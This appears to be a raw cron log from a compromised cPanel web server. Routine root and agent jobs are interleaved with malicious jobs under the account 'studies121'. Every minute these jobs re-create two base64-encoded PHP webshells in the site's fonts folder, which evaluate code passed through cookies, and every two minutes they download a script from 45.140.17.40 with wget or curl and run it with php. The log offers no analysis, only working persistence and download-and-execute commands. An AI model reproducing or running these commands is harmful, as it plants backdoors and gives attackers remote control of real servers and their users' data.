Sep  9 00:57:01 ip-184-168-122-23 CROND[17746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:58:01 ip-184-168-122-23 CROND[17824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:58:01 ip-184-168-122-23 CROND[17826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:58:01 ip-184-168-122-23 CROND[17827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:58:01 ip-184-168-122-23 CROND[17829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:58:01 ip-184-168-122-23 CROND[17831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:59:01 ip-184-168-122-23 CROND[17993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:59:01 ip-184-168-122-23 CROND[17995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:59:01 ip-184-168-122-23 CROND[17997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:59:01 ip-184-168-122-23 CROND[17996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:00:01 ip-184-168-122-23 CROND[18076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:00:01 ip-184-168-122-23 CROND[18077]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:00:01 ip-184-168-122-23 CROND[18082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:00:01 ip-184-168-122-23 CROND[18083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:00:01 ip-184-168-122-23 CROND[18084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:00:01 ip-184-168-122-23 CROND[18078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:00:01 ip-184-168-122-23 CROND[18081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:00:01 ip-184-168-122-23 CROND[18080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:01:01 ip-184-168-122-23 CROND[18185]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 01:01:01 ip-184-168-122-23 CROND[18186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:01:02 ip-184-168-122-23 CROND[18191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:01:02 ip-184-168-122-23 CROND[18193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:01:02 ip-184-168-122-23 CROND[18190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:01:02 ip-184-168-122-23 CROND[18192]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 01:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18185]: starting 0anacron
Sep  9 01:01:02 ip-184-168-122-23 anacron[18207]: Anacron started on 2026-09-09
Sep  9 01:01:02 ip-184-168-122-23 anacron[18207]: Normal exit (0 jobs run)
Sep  9 01:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18209]: finished 0anacron
Sep  9 01:02:01 ip-184-168-122-23 CROND[18291]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:02:01 ip-184-168-122-23 CROND[18292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:02:01 ip-184-168-122-23 CROND[18299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:02:01 ip-184-168-122-23 CROND[18297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:02:01 ip-184-168-122-23 CROND[18298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:03:01 ip-184-168-122-23 CROND[18372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:03:01 ip-184-168-122-23 CROND[18375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:03:01 ip-184-168-122-23 CROND[18373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:03:01 ip-184-168-122-23 CROND[18378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:04:01 ip-184-168-122-23 CROND[18448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:04:01 ip-184-168-122-23 CROND[18450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:04:01 ip-184-168-122-23 CROND[18452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:04:01 ip-184-168-122-23 CROND[18451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:04:01 ip-184-168-122-23 CROND[18453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:05:02 ip-184-168-122-23 CROND[18539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:05:02 ip-184-168-122-23 CROND[18542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:05:02 ip-184-168-122-23 CROND[18541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:05:02 ip-184-168-122-23 CROND[18544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:05:02 ip-184-168-122-23 CROND[18543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:05:02 ip-184-168-122-23 CROND[18545]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 01:05:02 ip-184-168-122-23 CROND[18547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:06:01 ip-184-168-122-23 CROND[18628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:06:01 ip-184-168-122-23 CROND[18630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:06:01 ip-184-168-122-23 CROND[18631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:06:01 ip-184-168-122-23 CROND[18634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:06:01 ip-184-168-122-23 CROND[18633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:07:01 ip-184-168-122-23 CROND[18807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:07:01 ip-184-168-122-23 CROND[18809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:07:01 ip-184-168-122-23 CROND[18810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:07:01 ip-184-168-122-23 CROND[18811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:08:01 ip-184-168-122-23 CROND[18891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:08:01 ip-184-168-122-23 CROND[18894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:08:01 ip-184-168-122-23 CROND[18893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:08:01 ip-184-168-122-23 CROND[18892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:08:01 ip-184-168-122-23 CROND[18895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:09:01 ip-184-168-122-23 CROND[18988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:09:01 ip-184-168-122-23 CROND[18990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:09:01 ip-184-168-122-23 CROND[18991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:09:01 ip-184-168-122-23 CROND[18992]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
